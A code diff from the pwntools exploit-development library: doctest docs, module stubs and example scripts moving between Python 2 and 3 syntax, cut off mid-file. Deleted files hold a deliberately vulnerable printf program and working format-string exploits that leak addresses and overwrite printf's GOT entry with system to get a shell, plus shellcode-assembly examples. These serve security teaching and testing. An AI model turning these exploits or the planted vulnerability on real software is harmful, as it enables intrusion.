||||
>>> sh = shell.run('sh')
|
||||
>>> sh.sendline(b'sleep 3; echo hello world;') # doctest: +SKIP
|
||||
>>> sh.sendline('sleep 3; echo hello world;') # doctest: +SKIP
|
||||
>>> sh.recvline(timeout=1)
|
||||
b''
|
||||
''
|
||||
>>> sh.recvline(timeout=5)
|
||||
b'hello world\n'
|
||||
'hello world\n'
|
||||
>>> shell.close()
|
||||
|
||||
Packing Integers
|
||||
@@ -106,13 +97,13 @@ unpacking codes, and littering your code with helper routines.
|
||||
>>> import struct
|
||||
>>> p32(0xdeadbeef) == struct.pack('I', 0xdeadbeef)
|
||||
True
|
||||
>>> leet = unhex('37130000')
|
||||
>>> u32(b'abcd') == struct.unpack('I', b'abcd')[0]
|
||||
>>> leet = '37130000'.decode('hex')
|
||||
>>> u32('abcd') == struct.unpack('I', 'abcd')[0]
|
||||
True
|
||||
|
||||
The packing/unpacking operations are defined for many common bit-widths.
|
||||
|
||||
>>> u8(b'A') == 0x41
|
||||
>>> u8('A') == 0x41
|
||||
True
|
||||
|
||||
Setting the Target Architecture and OS
|
||||
@@ -121,9 +112,9 @@ Setting the Target Architecture and OS
|
||||
The target architecture can generally be specified as an argument to the routine that requires it.
|
||||
|
||||
>>> asm('nop')
|
||||
b'\x90'
|
||||
'\x90'
|
||||
>>> asm('nop', arch='arm')
|
||||
b'\x00\xf0 \xe3'
|
||||
'\x00\xf0 \xe3'
|
||||
|
||||
However, it can also be set once in the global ``context``. The operating system, word size, and endianness can also be set here.
|
||||
|
||||
@@ -135,10 +126,10 @@ However, it can also be set once in the global ``context``. The operating syste
|
||||
Additionally, you can use a shorthand to set all of the values at once.
|
||||
|
||||
>>> asm('nop')
|
||||
b'\x90'
|
||||
'\x90'
|
||||
>>> context(arch='arm', os='linux', endian='big', word_size=32)
|
||||
>>> asm('nop')
|
||||
b'\xe3 \xf0\x00'
|
||||
'\xe3 \xf0\x00'
|
||||
|
||||
.. doctest::
|
||||
:hide:
|
||||
@@ -167,12 +158,12 @@ Assembly and Disassembly
|
||||
Never again will you need to run some already-assembled pile of shellcode
|
||||
from the internet! The :mod:`pwnlib.asm` module is full of awesome.
|
||||
|
||||
>>> enhex(asm('mov eax, 0'))
|
||||
>>> asm('mov eax, 0').encode('hex')
|
||||
'b800000000'
|
||||
|
||||
But if you do, it's easy to suss out!
|
||||
|
||||
>>> print(disasm(unhex('6a0258cd80ebf9')))
|
||||
>>> print disasm('6a0258cd80ebf9'.decode('hex'))
|
||||
0: 6a 02 push 0x2
|
||||
2: 58 pop eax
|
||||
3: cd 80 int 0x80
|
||||
@@ -185,7 +176,7 @@ loaded with useful time-saving shellcodes.
|
||||
Let's say that we want to `setreuid(getuid(), getuid())` followed by `dup`ing
|
||||
file descriptor 4 to `stdin`, `stdout`, and `stderr`, and then pop a shell!
|
||||
|
||||
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS
|
||||
>>> asm(shellcraft.setreuid() + shellcraft.dupsh(4)).encode('hex') # doctest: +ELLIPSIS
|
||||
'6a3158cd80...'
|
||||
|
||||
|
||||
@@ -197,10 +188,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
|
||||
|
||||
Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
|
||||
|
||||
>>> cyclic(20)
|
||||
b'aaaabaaacaaadaaaeaaa'
|
||||
>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time
|
||||
>>> cyclic_find(b'faab')
|
||||
>>> print cyclic(20)
|
||||
aaaabaaacaaadaaaeaaa
|
||||
>>> # Assume EIP = 0x62616166 ('faab' which is pack(0x62616166)) at crash time
|
||||
>>> print cyclic_find('faab')
|
||||
120
|
||||
|
||||
ELF Manipulation
|
||||
@@ -209,22 +200,22 @@ ELF Manipulation
|
||||
Stop hard-coding things! Look them up at runtime with :mod:`pwnlib.elf`.
|
||||
|
||||
>>> e = ELF('/bin/cat')
|
||||
>>> print(hex(e.address)) #doctest: +SKIP
|
||||
>>> print hex(e.address) #doctest: +SKIP
|
||||
0x400000
|
||||
>>> print(hex(e.symbols['write'])) #doctest: +SKIP
|
||||
>>> print hex(e.symbols['write']) #doctest: +SKIP
|
||||
0x401680
|
||||
>>> print(hex(e.got['write'])) #doctest: +SKIP
|
||||
>>> print hex(e.got['write']) #doctest: +SKIP
|
||||
0x60b070
|
||||
>>> print(hex(e.plt['write'])) #doctest: +SKIP
|
||||
>>> print hex(e.plt['write']) #doctest: +SKIP
|
||||
0x401680
|
||||
|
||||
You can even patch and save the files.
|
||||
|
||||
>>> e = ELF('/bin/cat')
|
||||
>>> e.read(e.address, 4)
|
||||
b'\x7fELF'
|
||||
'\x7fELF'
|
||||
>>> e.asm(e.address, 'ret')
|
||||
>>> e.save('/tmp/quiet-cat')
|
||||
>>> disasm(open('/tmp/quiet-cat','rb').read(1))
|
||||
>>> disasm(file('/tmp/quiet-cat','rb').read(1))
|
||||
' 0: c3 ret'
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
.. testsetup:: *
|
||||
:mod:`pwnlib.protocols` --- Wire Protocols
|
||||
=============================================
|
||||
|
||||
from pwn import *
|
||||
.. automodule:: pwnlib.protocols
|
||||
|
||||
|
||||
:mod:`pwnlib.protocols.adb` --- Protocol implementations
|
||||
========================================================
|
||||
Supported Protocols
|
||||
-------------------
|
||||
|
||||
.. toctree::
|
||||
:maxdepth: 3
|
||||
:glob:
|
||||
|
||||
protocols/*
|
||||
|
||||
.. automodule:: pwnlib.protocols.adb
|
||||
:members:
|
||||
@@ -0,0 +1,10 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.protocols.adb import AdbClient
|
||||
|
||||
:mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
|
||||
===========================================================
|
||||
|
||||
.. automodule:: pwnlib.protocols.adb
|
||||
:members:
|
||||
@@ -1,10 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
:mod:`pwnlib.qemu` --- QEMU Utilities
|
||||
==========================================
|
||||
|
||||
.. automodule:: pwnlib.qemu
|
||||
:members:
|
||||
@@ -1,3 +1,7 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.rop` --- Return Oriented Programming
|
||||
=================================================
|
||||
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
import tempfile
|
||||
|
||||
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
|
||||
========================================================
|
||||
|
||||
.. automodule:: pwnlib.rop.ret2dlresolve
|
||||
:members:
|
||||
+1
-19
@@ -1,24 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
import time
|
||||
from glob import glob
|
||||
|
||||
from pwnlib.asm import asm
|
||||
from pwnlib import constants
|
||||
from pwnlib.context import context
|
||||
from pwnlib.elf import ELF
|
||||
from pwnlib.rop import ROP
|
||||
from pwnlib.rop.call import Call, AppendedArgument
|
||||
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
|
||||
from pwnlib.util.packing import *
|
||||
from pwnlib.util.fiddling import *
|
||||
from pwnlib.tubes.process import process
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.util.misc import which
|
||||
import pwnlib.data
|
||||
|
||||
context.clear()
|
||||
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
|
||||
==========================================================
|
||||
|
||||
@@ -1,11 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.rop.srop import *
|
||||
|
||||
from pwnlib import constants
|
||||
from pwnlib import shellcraft
|
||||
from pwnlib.elf import ELF
|
||||
from pwnlib.tubes.process import process
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
|
||||
==========================================================
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.runner import *
|
||||
from pwnlib.asm import asm
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.runner` --- Running Shellcode
|
||||
===========================================
|
||||
|
||||
@@ -17,9 +17,3 @@
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.amd64.linux
|
||||
:members:
|
||||
|
||||
:mod:`pwnlib.shellcraft.amd64.windows`
|
||||
---------------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.amd64.windows
|
||||
:members:
|
||||
@@ -1,15 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
import tempfile
|
||||
|
||||
from pwnlib import shellcraft
|
||||
|
||||
from pwnlib.asm import asm
|
||||
from pwnlib.context import context
|
||||
from pwnlib.runner import run_assembly
|
||||
from pwnlib.util.fiddling import enhex
|
||||
from pwnlib.util.misc import write
|
||||
|
||||
from pwn import *
|
||||
context.clear(arch='mips')
|
||||
|
||||
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
|
||||
|
||||
File renamed without changes.
@@ -1,19 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
context.clear(arch='riscv64')
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
|
||||
==========================================================
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64`
|
||||
--------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.riscv64
|
||||
:members:
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64.linux`
|
||||
--------------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.riscv64.linux
|
||||
:members:
|
||||
@@ -3,9 +3,3 @@
|
||||
|
||||
.. automodule:: pwnlib.term
|
||||
:members:
|
||||
|
||||
Term Modules
|
||||
-------------------
|
||||
|
||||
.. toctree::
|
||||
term/readline
|
||||
@@ -1,10 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.term.readline import *
|
||||
import io
|
||||
|
||||
:mod:`pwnlib.term.readline` --- Terminal nice readline
|
||||
======================================================
|
||||
|
||||
.. automodule:: pwnlib.term.readline
|
||||
:members:
|
||||
@@ -1,9 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.tubes.buffer import *
|
||||
|
||||
:mod:`pwnlib.tubes.buffer` --- buffer implementation for tubes
|
||||
==============================================================
|
||||
|
||||
.. automodule:: pwnlib.tubes.buffer
|
||||
:members:
|
||||
@@ -1,7 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.tubes.server import server
|
||||
|
||||
:mod:`pwnlib.tubes.sock` --- Sockets
|
||||
===========================================================
|
||||
@@ -24,9 +23,3 @@
|
||||
.. autoclass:: pwnlib.tubes.listen.listen
|
||||
:members:
|
||||
:show-inheritance:
|
||||
|
||||
.. automodule:: pwnlib.tubes.server
|
||||
|
||||
.. autoclass:: pwnlib.tubes.server.server
|
||||
:members:
|
||||
:show-inheritance:
|
||||
@@ -14,10 +14,6 @@
|
||||
:members: kill, poll, interactive
|
||||
:show-inheritance:
|
||||
|
||||
.. autoclass:: pwnlib.tubes.ssh.ssh_process
|
||||
:members:
|
||||
:show-inheritance:
|
||||
|
||||
.. autoclass:: pwnlib.tubes.ssh.ssh_connecter()
|
||||
:show-inheritance:
|
||||
|
||||
|
||||
@@ -1,8 +1,3 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
import io
|
||||
|
||||
:mod:`pwnlib.ui` --- Functions for user interaction
|
||||
===================================================
|
||||
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.util.cyclic import *
|
||||
|
||||
|
||||
|
||||
@@ -1,11 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.util.getdents import *
|
||||
from pwnlib.util.fiddling import unhex
|
||||
|
||||
|
||||
:mod:`pwnlib.util.getdents` --- Linux binary directory listing
|
||||
==============================================================
|
||||
|
||||
.. automodule:: pwnlib.util.getdents
|
||||
:members:
|
||||
+16
-16
@@ -17,19 +17,19 @@
|
||||
count ,
|
||||
cycle ,
|
||||
dropwhile ,
|
||||
filter ,
|
||||
filterfalse ,
|
||||
groupby ,
|
||||
ifilter ,
|
||||
ifilterfalse ,
|
||||
imap ,
|
||||
islice ,
|
||||
map ,
|
||||
izip ,
|
||||
izip_longest ,
|
||||
permutations ,
|
||||
product ,
|
||||
repeat ,
|
||||
starmap ,
|
||||
takewhile ,
|
||||
tee ,
|
||||
zip ,
|
||||
zip_longest
|
||||
tee
|
||||
|
||||
.. function:: chain
|
||||
|
||||
@@ -63,29 +63,29 @@
|
||||
|
||||
Alias for :func:`itertools.groupby`
|
||||
|
||||
.. function:: filter
|
||||
.. function:: ifilter
|
||||
|
||||
Alias for python3-style :func:`filter`
|
||||
Alias for :func:`itertools.ifilter`
|
||||
|
||||
.. function:: filterfalse
|
||||
.. function:: ifilterfalse
|
||||
|
||||
Alias for :func:`itertools.filterfalse`
|
||||
Alias for :func:`itertools.ifilterfalse`
|
||||
|
||||
.. function:: map
|
||||
.. function:: imap
|
||||
|
||||
Alias for python3-style :func:`map`
|
||||
Alias for :func:`itertools.imap`
|
||||
|
||||
.. function:: islice
|
||||
|
||||
Alias for :func:`itertools.islice`
|
||||
|
||||
.. function:: zip
|
||||
.. function:: izip
|
||||
|
||||
Alias for python3-style :func:`zip`
|
||||
Alias for :func:`itertools.izip`
|
||||
|
||||
.. function:: zip_longest
|
||||
.. function:: izip_longest
|
||||
|
||||
Alias for :func:`itertools.zip_longest`
|
||||
Alias for :func:`itertools.izip_longest`
|
||||
|
||||
.. function:: permutations
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pprint import pprint
|
||||
from pwnlib.util.misc import *
|
||||
import os, subprocess
|
||||
os.chdir("..")
|
||||
|
||||
:mod:`pwnlib.util.misc` --- We could not fit it any other place
|
||||
===============================================================
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
from pwnlib.util.net import *
|
||||
|
||||
|
||||
:mod:`pwnlib.util.net` --- Networking interfaces
|
||||
===================================================
|
||||
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.util.proc import *
|
||||
from pwnlib.tubes.process import process
|
||||
import os, sys
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
.. testsetup:: *
|
||||
|
||||
import tempfile
|
||||
|
||||
from pwnlib.context import context
|
||||
from pwnlib.util.web import *
|
||||
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.windbg` --- Working with WinDbg
|
||||
============================================
|
||||
|
||||
.. automodule:: pwnlib.windbg
|
||||
:members:
|
||||
+4
-11
@@ -26,10 +26,6 @@ Try running this example with::
|
||||
```
|
||||
Example showing the interface to `pwnlib.asm.asm` and `pwnlib.shellcraft`.
|
||||
```
|
||||
* `attach.py`
|
||||
```
|
||||
Example showing `pwnlib.gdb.attach()`
|
||||
```
|
||||
* `clean_and_log.py`
|
||||
```
|
||||
Use case for `pwnlib.tubes.tube.clean_and_log`.
|
||||
@@ -69,7 +65,8 @@ Example showing `pwnlib.ui.options()`
|
||||
```
|
||||
* `port_forward.py`
|
||||
```
|
||||
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`.
|
||||
A very simple port forwarder using `pwnlib.tubes.tube.connect_both()`. Notice
|
||||
that `<>` is just a shorthand.
|
||||
```
|
||||
* `readline_completers.py`
|
||||
```
|
||||
@@ -77,10 +74,6 @@ Example showing pwnlib's readline implementation and a few completers. This
|
||||
part of pwnlib will probably see some major changes soon, but we wanted to show
|
||||
off some proof-of-concepts.
|
||||
```
|
||||
* `remote.py`
|
||||
```
|
||||
Example showing how to use the remote class.
|
||||
```
|
||||
* `remote_gdb_debugging.py`
|
||||
```
|
||||
Simple example showing how to use the remote
|
||||
@@ -110,7 +103,7 @@ and::
|
||||
|
||||
$ TERM=xterm-256color python text.py
|
||||
```
|
||||
* `yesno.py`
|
||||
* `remote.py`
|
||||
```
|
||||
Example showing `pwnlib.ui.yesno()`
|
||||
Example showing how to use the remote class.
|
||||
```
|
||||
+9
-12
@@ -1,25 +1,22 @@
|
||||
from __future__ import print_function
|
||||
|
||||
import gdb
|
||||
from pwn import adb, context
|
||||
from pwn import *
|
||||
|
||||
# Tell pwntools that the target is an Android device
|
||||
context.os = "android"
|
||||
context.arch = "aarch64" # or 'arm'
|
||||
context.os='android'
|
||||
context.arch='aarch64' # or 'arm'
|
||||
|
||||
# Optionally, set the remote ADB server address
|
||||
context.adb_host = "172.16.110.1"
|
||||
context.adb_host='172.16.110.1'
|
||||
|
||||
# Wait for a device to become available
|
||||
print(adb.wait_for_device())
|
||||
print adb.wait_for_device()
|
||||
|
||||
# Who am I?
|
||||
print(adb.process("id").recvall().strip())
|
||||
print adb.process('id').recvall().strip()
|
||||
|
||||
# Interactive sessions!
|
||||
io = adb.shell()
|
||||
io.sendline("echo Hello, world; exit")
|
||||
print(io.recvall().replace("\r\n", "\n").strip())
|
||||
io.sendline('echo Hello, world; exit')
|
||||
print io.recvall().replace('\r\n', '\n').strip()
|
||||
|
||||
# Debugging!
|
||||
gdb.debug("sh").interactive()
|
||||
gdb.debug('sh').interactive()
|
||||
+2
-2
@@ -14,5 +14,5 @@ Try running this example with::
|
||||
|
||||
from pwn import *
|
||||
|
||||
print(args['RHOST'] or 'RHOST is not set')
|
||||
print(args['RPORT'] or 'RPORT is not set')
|
||||
print args['RHOST'] or 'RHOST is not set'
|
||||
print args['RPORT'] or 'RPORT is not set'
|
||||
+2
-2
@@ -9,5 +9,5 @@ context(arch='i386', os='linux')
|
||||
shellcode = shellcraft.i386_to_amd64()
|
||||
shellcode_asm = asm(shellcode)
|
||||
|
||||
print(enhex(shellcode_asm))
|
||||
print(disasm(shellcode_asm))
|
||||
print enhex(shellcode_asm)
|
||||
print disasm(shellcode_asm)
|
||||
+1
-1
@@ -5,7 +5,7 @@ Example showing `pwnlib.gdb.attach()`
|
||||
from pwn import *
|
||||
|
||||
bash = process('/bin/bash')
|
||||
gdb.attach(bash, gdbscript = '''
|
||||
gdb.attach(bash, execute = '''
|
||||
p "hello from pwnlib"
|
||||
c
|
||||
''')
|
||||
|
||||
+12
-18
@@ -11,24 +11,18 @@ Solution:
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
from multiprocessing import Process
|
||||
|
||||
def submit_data():
|
||||
with context.quiet:
|
||||
with listen(1337) as io:
|
||||
io.wait_for_connection()
|
||||
io.sendline(b'prefix sometext')
|
||||
io.sendline(b'prefix someothertext')
|
||||
io.sendline(b'here comes the flag')
|
||||
io.sendline(b'LostInTheInterTubes')
|
||||
os.system('''((
|
||||
echo prefix sometext ;
|
||||
echo prefix someothertext ;
|
||||
echo here comes the flag ;
|
||||
echo LostInTheInterTubes
|
||||
) | nc -l 1337) &
|
||||
''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
p = Process(target=submit_data)
|
||||
p.start()
|
||||
r = remote('localhost', 1337)
|
||||
atexit.register(r.clean_and_log)
|
||||
|
||||
r = remote('localhost', 1337)
|
||||
atexit.register(r.clean_and_log)
|
||||
|
||||
while True:
|
||||
line = r.recvline()
|
||||
print(re.findall(br'^prefix (\S+)$', line)[0])
|
||||
while True:
|
||||
line = r.recvline()
|
||||
print re.findall('^prefix (\S+)$', line)[0]
|
||||
@@ -1,53 +0,0 @@
|
||||
CFLAGS := -Wno-unused-result -Wno-format-security
|
||||
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
|
||||
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
|
||||
printf-loop.native printf-loop.native32
|
||||
|
||||
.PHONY: run
|
||||
run: all
|
||||
./exploit2.py
|
||||
./exploit.py
|
||||
|
||||
.PHONY: all
|
||||
all: $(TARGETS)
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f $(TARGETS)
|
||||
|
||||
# mips variants
|
||||
%.mips: %.c
|
||||
mips-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
%.mipsel: %.c
|
||||
mipsel-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
%.mips64: %.c
|
||||
mips64-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
%.mips64el: %.c
|
||||
mips64el-linux-gnuabi64-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
|
||||
# arm variants
|
||||
%.arm: %.c
|
||||
arm-linux-gnueabi-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
%.aarch64: %.c
|
||||
aarch64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
|
||||
# ppc variants
|
||||
%.ppc: %.c
|
||||
powerpc-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
%.ppc64: %.c
|
||||
powerpc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
|
||||
# sparc variants
|
||||
%.sparc64: %.c
|
||||
sparc64-linux-gnu-gcc $(CFLAGS) -static -Os -o "$@" $^
|
||||
|
||||
# native variants
|
||||
%.native: %.c
|
||||
gcc $(CFLAGS) -o "$@" $^
|
||||
%.native32: %.c
|
||||
gcc $(CFLAGS) -m32 -o "$@" $^
|
||||
|
||||
# install deps on ubuntu xenial
|
||||
.PHONY: install-apt
|
||||
install-apt:
|
||||
apt-get install -y make gcc-mips64el-linux-gnuabi64 gcc-sparc64-linux-gnu gcc-powerpc64-linux-gnu gcc-powerpc-linux-gnu gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu gcc-mips64-linux-gnuabi64 gcc-mipsel-linux-gnu gcc-mips64el-linux-gnuabi64 gcc-mips-linux-gnu gcc-i686-linux-gnu gcc
|
||||
@@ -1,39 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
@context.quiet
|
||||
def exec_fmt(payload):
|
||||
p = context.binary.process()
|
||||
p.sendline(payload)
|
||||
return p.recvall()
|
||||
|
||||
def exploit(binary):
|
||||
context.binary = ELF(binary)
|
||||
autofmt = FmtStr(exec_fmt)
|
||||
offset = autofmt.offset
|
||||
with context.binary.process() as p:
|
||||
addr = unpack(p.recv(context.bytes))
|
||||
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
|
||||
p.sendline(payload)
|
||||
p.recvuntil(b"DONE")
|
||||
print(hex(u32(p.recv(4))))
|
||||
|
||||
binaries = [
|
||||
"printf.mips",
|
||||
"printf.mips64",
|
||||
"printf.mipsel",
|
||||
"printf.mips64el",
|
||||
"printf.native",
|
||||
"printf.native32",
|
||||
"printf.ppc",
|
||||
"printf.ppc64",
|
||||
"printf.sparc64",
|
||||
"printf.arm",
|
||||
"printf.aarch64",
|
||||
]
|
||||
|
||||
if len(sys.argv) > 1:
|
||||
binaries = sys.argv[1:]
|
||||
|
||||
for binary in binaries:
|
||||
exploit(binary)
|
||||
@@ -1,68 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
"""
|
||||
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
|
||||
def exploit(e):
|
||||
p = e.process()
|
||||
|
||||
def executer(fmt):
|
||||
p.sendline(fmt)
|
||||
p.stdin.flush()
|
||||
r = p.recvuntil(b'again=\n')
|
||||
return r
|
||||
f = FmtStr(executer)
|
||||
|
||||
# find some code pointer on stack
|
||||
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
|
||||
min_code_ptr = 0x10 << addrbits-8
|
||||
max_code_ptr = 0x7e << addrbits-8
|
||||
for off in range(64):
|
||||
random_code_ptr = f.leak_stack(off)
|
||||
packed = bytearray(pack(random_code_ptr))
|
||||
chars = set(packed) - {0}
|
||||
# simple heuristic
|
||||
if (min_code_ptr < random_code_ptr < max_code_ptr
|
||||
and max(chars) > 0x80 and min(chars) < 0x80
|
||||
and not hex(random_code_ptr).startswith('0x7ff')):
|
||||
break
|
||||
|
||||
log.info("Code ptr: %#x"%random_code_ptr)
|
||||
|
||||
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
|
||||
|
||||
print("Stack: %#x" % (online_elf.stack(),))
|
||||
print("Heap: %#x" % (online_elf.heap(),))
|
||||
|
||||
info("Finding base address of the executable")
|
||||
for ref in e.sym:
|
||||
if not ref:
|
||||
continue
|
||||
# if we have the address of a symbol on remote, we know the offset
|
||||
ref_addr = online_elf.lookup(ref)
|
||||
if ref_addr:
|
||||
print("%s: %r" % (ref, ref_addr))
|
||||
break
|
||||
|
||||
system = online_elf.lookup('system', 'libc')
|
||||
print("system: %#x" % system)
|
||||
|
||||
# fix up the address
|
||||
e.address += ref_addr - e.sym[ref]
|
||||
|
||||
# actual exploit: overwrite printf with system
|
||||
f.write(e.sym.got.printf, system)
|
||||
f.execute_writes()
|
||||
|
||||
p.sendline(b'echo ::$(( 16 * 16 ))')
|
||||
p.recvuntil(b'::')
|
||||
line = p.recvline()
|
||||
assert line == b'256\n'
|
||||
p.sendline(b'exit')
|
||||
p.close()
|
||||
|
||||
|
||||
for context.binary in 'printf-loop.native32', 'printf-loop.native':
|
||||
exploit(context.binary)
|
||||
@@ -1,14 +0,0 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
while (1) {
|
||||
char str[256];
|
||||
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
|
||||
str[n] = '\0';
|
||||
printf(str);
|
||||
printf("\n=try again=\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,29 +0,0 @@
|
||||
#ifdef _FORTIFY_SOURCE
|
||||
#undef _FORTIFY_SOURCE
|
||||
#endif
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#define MEMORY_ADDRESS ((void*)0x11110000)
|
||||
#define MEMORY_SIZE 1024
|
||||
#define TARGET ((int *) 0x11110100)
|
||||
int main(int argc, char const *argv[])
|
||||
{
|
||||
char buff[1024];
|
||||
void *ptr = NULL;
|
||||
int *my_var = TARGET;
|
||||
ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if(ptr != MEMORY_ADDRESS)
|
||||
{
|
||||
perror("mmap");
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
*my_var = 0x41414141;
|
||||
write(1, &my_var, sizeof(int *));
|
||||
scanf("%s", buff);
|
||||
dprintf(2, buff);
|
||||
write(1, "DONE", 4);
|
||||
write(1, my_var, sizeof(int));
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,112 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""An example of using GDB Python API with Pwntools."""
|
||||
from pwn import *
|
||||
|
||||
|
||||
def check_write(gdb, exp_buf):
|
||||
"""Check that write() was called with the expected arguments."""
|
||||
fd = gdb.parse_and_eval('$rdi').cast(gdb.lookup_type('int'))
|
||||
assert fd == 1, fd
|
||||
buf_addr = gdb.parse_and_eval('$rsi').cast(gdb.lookup_type('long'))
|
||||
count = gdb.parse_and_eval('$rdx').cast(gdb.lookup_type('long'))
|
||||
buf = gdb.selected_inferior().read_memory(buf_addr, count).tobytes()
|
||||
assert buf == exp_buf, buf
|
||||
|
||||
|
||||
def demo_sync_breakpoint(cat, gdb, txt):
|
||||
"""Demonstrate a synchronous breakpoint."""
|
||||
# set the synchronous breakpoint on ``write``
|
||||
gdb.Breakpoint('write', temporary=True)
|
||||
|
||||
# resume the program
|
||||
gdb.continue_nowait()
|
||||
|
||||
# send the line
|
||||
cat.sendline(txt)
|
||||
|
||||
# wait until we hit the breakpoint
|
||||
gdb.wait()
|
||||
|
||||
# inspect program state
|
||||
check_write(gdb, (txt + '\n').encode())
|
||||
|
||||
# resume the program
|
||||
gdb.continue_nowait()
|
||||
|
||||
# expect to observe the line we just sent
|
||||
cat.recvuntil(txt)
|
||||
|
||||
|
||||
def demo_async_breakpoint(cat, gdb, txt):
|
||||
"""Demonstrate asynchronous breakpoint."""
|
||||
# set the asynchronous breakpoint on ``write``
|
||||
class WriteBp(gdb.Breakpoint):
|
||||
def __init__(self):
|
||||
super().__init__('write')
|
||||
self.count = 0
|
||||
|
||||
def stop(self):
|
||||
# called in a separate thread
|
||||
check_write(gdb, (txt + '\n').encode())
|
||||
self.count += 1
|
||||
|
||||
bp = WriteBp()
|
||||
|
||||
# resume the program
|
||||
gdb.continue_nowait()
|
||||
|
||||
# send the line and immediately expect to observe it
|
||||
cat.sendline(txt)
|
||||
cat.recvuntil(txt)
|
||||
|
||||
# check that we hit the breakpoint
|
||||
assert bp.count == 1, bp.count
|
||||
|
||||
# interrupt the program
|
||||
gdb.interrupt_and_wait()
|
||||
|
||||
# delete the breakpoint
|
||||
bp.delete()
|
||||
|
||||
# resume the program
|
||||
gdb.continue_nowait()
|
||||
|
||||
|
||||
def main():
|
||||
# start ``cat`` under GDB
